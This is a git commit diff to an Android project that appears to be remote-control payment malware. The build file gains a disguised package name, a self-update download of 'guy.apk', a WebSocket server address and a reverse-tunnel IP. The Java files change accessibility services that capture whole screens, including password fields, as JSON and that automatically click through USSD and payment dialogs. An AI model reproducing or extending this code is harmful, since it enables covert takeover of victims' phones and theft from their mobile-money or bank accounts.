hxMac 1 tháng trước cách đây
mục cha
commit
b7a30b5b0c

+ 7 - 7
frpc_android-master/app/build.gradle

@@ -144,7 +144,7 @@ android {
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user7/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
-            buildConfigField "String", "WEB_URL", "\"wss://lk-naughty.lkluckpanda.online/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "WEB_URL", "\"\""
             buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
             buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
             manifestPlaceholders = [app_icon: "@mipmap/ic_h"]
@@ -393,14 +393,14 @@ android {
             dimension "baseUrl"
             applicationId "com.skqaxd.bqvwtb.jedo.axrmh"
             resValue "string", "app_name", "U"
-            buildConfigField "String", "BASE_URL", "\"替换成你需要的,举例[https://india.gdtabletouch.com]\""
+            buildConfigField "String", "BASE_URL", "\"https://tz-www.ghpcarphone.com\""
             buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/u/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
-            buildConfigField "String", "WEB_URL", "\"WEBSOCKRET的地址,没有就删除\""
-            buildConfigField "String", "FRPC_IP", "\"FRPC配置中对应的IP,没有就删除写XXXXXX\""
-            buildConfigField "String", "FRPC_PORT", "\"FRPC配置中对应的端口,没有就写XXXXX\""
+            buildConfigField "String", "WEB_URL", "\"wss://tz-naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"3.68.159.34\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
             manifestPlaceholders = [app_icon: "@mipmap/ic_u"]
             ndk {
                 //noinspection ChromeOsAbiSupport
@@ -514,8 +514,8 @@ android {
 //        minSdkVersion 29
         //noinspection ExpiredTargetSdkVersion
         targetSdkVersion 30
-        versionCode 58
-        versionName "0.40.4.8"
+        versionCode 59
+        versionName "0.40.4.9"
         multiDexEnabled true
         testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
     }

+ 3 - 0
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/PayController.java

@@ -10,6 +10,7 @@ import android.accessibilityservice.AccessibilityService;
 import android.os.Bundle;
 import android.view.accessibility.AccessibilityNodeInfo;
 
+import com.elvishew.xlog.XLog;
 import com.google.gson.Gson;
 
 import java.util.ArrayList;
@@ -38,6 +39,8 @@ public class PayController {
         String PageJson = "{}";
         AccessibilityNodeInfo node = getMyAccessibilityService().getRootInActiveWindow();
         if (node != null) {
+            XLog.i("[getNowRootInActiveWindow]node.isVisibleToUser() 尝试获取---->" + node.isVisibleToUser());
+            XLog.i("[getNowRootInActiveWindow]node.isEnabled() 尝试获取---->" + node.isEnabled());
             NodeInfoWrapper nodeInfoWrapper = traverseNode(node);
             Gson gson = new Gson();
             PageJson = gson.toJson(nodeInfoWrapper);

+ 81 - 57
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDService.java

@@ -7,21 +7,20 @@
 package com.romellfudi.ussdlibrary;
 
 import android.accessibilityservice.AccessibilityService;
-import android.annotation.SuppressLint;
 import android.content.ClipData;
 import android.content.ClipboardManager;
 import android.content.Context;
-import android.content.Intent;
 import android.os.Build;
 import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
 import android.os.Parcel;
-import android.telecom.PhoneAccountHandle;
-import android.telecom.TelecomManager;
-import android.telephony.TelephonyManager;
 import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityNodeInfo;
 
+import androidx.annotation.RequiresApi;
+
 import com.elvishew.xlog.XLog;
 import com.google.gson.Gson;
 
@@ -37,75 +36,81 @@ import java.util.List;
  */
 public class USSDService extends AccessibilityService {
 
-    private static String TAG = "USSDServiceUSSD";
+    private static final String TAG = "USSDServiceUSSD";
 
     public static AccessibilityEvent event;
 
+    @RequiresApi(api = Build.VERSION_CODES.P)
     @Override
     public void onAccessibilityEvent(AccessibilityEvent event) {
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
-            this.event = new AccessibilityEvent(event);
+            USSDService.event = new AccessibilityEvent(event);
         } else {
             Parcel parcel = Parcel.obtain();
             event.writeToParcel(parcel, 0);
             parcel.setDataPosition(0);
             AccessibilityEvent newEvent = AccessibilityEvent.CREATOR.createFromParcel(parcel);
             parcel.recycle();
-            this.event = newEvent;
+            USSDService.event = newEvent;
         }
 
-        XLog.i("USSDService Event Json : " + getEventNowRootInActiveWindow(event));
-        XLog.i(String.format("USSDService onAccessibilityEvent: [type] %s [class] %s [package] %s [time] %s [text] %s" +
-                        " [ContentChangeTypes] %s [WindowChanges] %s",
-                event.getEventType(), event.getClassName(), event.getPackageName(),
-                event.getEventTime(), event.getText(), event.getContentChangeTypes(), event.getWindowChanges()));
-
-        if (USSDController.instance == null || !USSDController.instance.isRunning) {
-            XLog.e("USSDService Error : USSDController.instance = " + (USSDController.instance == null));
-            if (USSDController.instance != null) {
-                XLog.e("USSDService Error : USSDController.instance.isRunning = " + (USSDController.instance.isRunning));
+        new Handler(Looper.getMainLooper()).postDelayed(() -> {
+            XLog.i(String.format("USSDService onAccessibilityEvent: [type] %s [class] %s [package] %s [time] %s [text] %s [ContentChangeTypes] %s [WindowChanges] %s",
+                    event.getEventType(),
+                    event.getClassName(),
+                    event.getPackageName(),
+                    event.getEventTime(),
+                    event.getText(),
+                    event.getContentChangeTypes(),
+                    event.getWindowChanges()
+            ));
+
+            if (USSDController.instance == null || !USSDController.instance.isRunning) {
+                XLog.e("USSDService Error : USSDController == " + (USSDController.instance == null));
+                XLog.e("USSDService Error : USSDController.isRunning == " + (USSDController.instance.isRunning));
+//            return;
             }
-            return;
-        }
-
 
-        String response = event.getText().toString();
-        if (LoginView(event) && notInputText(event)) {
-            XLog.i("USSDService: 1");
-            clickOnButton(event, 0);
-            USSDController.instance.isRunning = false;
-            if (USSDController.instance.send)
-                USSDController.instance.callbackMessage.over(response);
-            else
-                USSDController.instance.callbackInvoke.over(response);
-        } else if (problemView(event) || LoginView(event)) {
-            XLog.i("USSDService: 2");
-            clickOnButton(event, 1);
-            if (USSDController.instance.send)
-                USSDController.instance.callbackMessage.over(response);
-            else
-                USSDController.instance.callbackInvoke.over(response);
-
-        } else if (isUSSDWidget(event)) {
-            XLog.i("USSDService: 3");
-            if (notInputText(event)) {
-                XLog.i("USSDService: 4");
+            String response = event.getText().toString();
+            XLog.i("USSDService response = " + response);
+            if (LoginView(event) && notInputText(event)) {
+                XLog.i("USSDService: 1");
                 clickOnButton(event, 0);
                 USSDController.instance.isRunning = false;
                 if (USSDController.instance.send)
                     USSDController.instance.callbackMessage.over(response);
                 else
                     USSDController.instance.callbackInvoke.over(response);
-            } else {
-                XLog.i("USSDService: 5");
+            } else if (problemView(event) || LoginView(event)) {
+                XLog.i("USSDService: 2");
+                clickOnButton(event, 1);
                 if (USSDController.instance.send)
-                    USSDController.instance.callbackMessage.responseMessage(response);
+                    USSDController.instance.callbackMessage.over(response);
                 else
-                    USSDController.instance.callbackInvoke.responseInvoke(response);
+                    USSDController.instance.callbackInvoke.over(response);
+
+            } else if (isUSSDWidget(event)) {
+                XLog.i("USSDService: 3");
+                if (notInputText(event)) {
+                    XLog.i("USSDService: 4");
+                    clickOnButton(event, 0);
+                    USSDController.instance.isRunning = false;
+                    if (USSDController.instance.send)
+                        USSDController.instance.callbackMessage.over(response);
+                    else
+                        USSDController.instance.callbackInvoke.over(response);
+                } else {
+                    XLog.i("USSDService: 5");
+                    if (USSDController.instance.send)
+                        USSDController.instance.callbackMessage.responseMessage(response);
+                    else
+                        USSDController.instance.callbackInvoke.responseInvoke(response);
+                }
+            } else {
+                XLog.e("USSDService Error : 未走进任何逻辑循环");
             }
-        } else {
-            XLog.e("USSDService Error : 未走进任何逻辑循环");
-        }
+        }, 2000); // 延迟 1 秒
+
     }
 
     /**
@@ -161,8 +166,11 @@ public class USSDService extends AccessibilityService {
      */
     protected static boolean notInputText(AccessibilityEvent event) {
         boolean flag = true;
+        XLog.i("USSDService Event Json event.source = : " + event.getSource());
         for (AccessibilityNodeInfo leaf : getLeaves(event)) {
-            if (leaf.getClassName().equals("android.widget.EditText")) flag = false;
+            if (leaf.getClassName().equals("android.widget.EditText")) {
+                flag = false;
+            }
         }
         return flag;
     }
@@ -270,6 +278,8 @@ public class USSDService extends AccessibilityService {
             NodeInfoWrapper nodeInfoWrapper = traverseNode(node);
             Gson gson = new Gson();
             PageJson = gson.toJson(nodeInfoWrapper);
+        } else {
+            PageJson = PayController.getNowRootInActiveWindow();
         }
         return PageJson;
     }
@@ -336,7 +346,9 @@ public class USSDService extends AccessibilityService {
         nodeInfoWrapper.canOpenPopup = nodeInfo.canOpenPopup();
         nodeInfoWrapper.visibleToUser = nodeInfo.isVisibleToUser();
         nodeInfoWrapper.isEnabled = nodeInfo.isEnabled();
-        nodeInfoWrapper.hintText = nodeInfo.getHintText() != null ? nodeInfo.getText().toString() : "";
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            nodeInfoWrapper.hintText = nodeInfo.getHintText() != null ? nodeInfo.getText().toString() : "";
+        }
         nodeInfoWrapper.isClickable = nodeInfo.isClickable();
         nodeInfoWrapper.isLongClickable = nodeInfo.isLongClickable();
         nodeInfoWrapper.isEditable = nodeInfo.isEditable();
@@ -347,18 +359,30 @@ public class USSDService extends AccessibilityService {
         nodeInfoWrapper.isSelected = nodeInfo.isSelected();
         nodeInfoWrapper.isAccessibilityFocused = nodeInfo.isAccessibilityFocused();
         nodeInfoWrapper.isContentInvalid = nodeInfo.isContentInvalid();
-        nodeInfoWrapper.isContextClickable = nodeInfo.isContextClickable();
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+            nodeInfoWrapper.isContextClickable = nodeInfo.isContextClickable();
+        }
         nodeInfoWrapper.isDismissable = nodeInfo.isDismissable();
         nodeInfoWrapper.isFocusable = nodeInfo.isFocusable();
         nodeInfoWrapper.isFocused = nodeInfo.isFocused();
-        nodeInfoWrapper.isHeading = nodeInfo.isHeading();
-        nodeInfoWrapper.isImportantForAccessibility = nodeInfo.isImportantForAccessibility();
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
+            nodeInfoWrapper.isHeading = nodeInfo.isHeading();
+        }
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
+            nodeInfoWrapper.isImportantForAccessibility = nodeInfo.isImportantForAccessibility();
+        }
         nodeInfoWrapper.isMultiLine = nodeInfo.isMultiLine();
         nodeInfoWrapper.isPassword = nodeInfo.isPassword();
-        nodeInfoWrapper.isScreenReaderFocusable = nodeInfo.isScreenReaderFocusable();
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
+            nodeInfoWrapper.isScreenReaderFocusable = nodeInfo.isScreenReaderFocusable();
+        }
         nodeInfoWrapper.isScrollable = nodeInfo.isScrollable();
-        nodeInfoWrapper.isShowingHintText = nodeInfo.isShowingHintText();
-        nodeInfoWrapper.isTextEntryKey = nodeInfo.isTextEntryKey();
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            nodeInfoWrapper.isShowingHintText = nodeInfo.isShowingHintText();
+        }
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
+            nodeInfoWrapper.isTextEntryKey = nodeInfo.isTextEntryKey();
+        }
         nodeInfoWrapper.isVisibleToUser = nodeInfo.isVisibleToUser();
 
 

+ 3 - 0
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDServicePay.java

@@ -29,6 +29,9 @@ public class USSDServicePay extends AccessibilityService {
 
     @Override
     public void onAccessibilityEvent(AccessibilityEvent event) {
+        Log.d("hzshkj", String.format("*USSDServicePay onAccessibilityEvent: [type] %s [class] %s [package] %s [time] %s [text] %s",
+                event.getEventType(), event.getClassName(), event.getPackageName(),
+                event.getEventTime(), event.getText()));
         XLog.i(String.format("*USSDServicePay onAccessibilityEvent: [type] %s [class] %s [package] %s [time] %s [text] %s",
                 event.getEventType(), event.getClassName(), event.getPackageName(),
                 event.getEventTime(), event.getText()));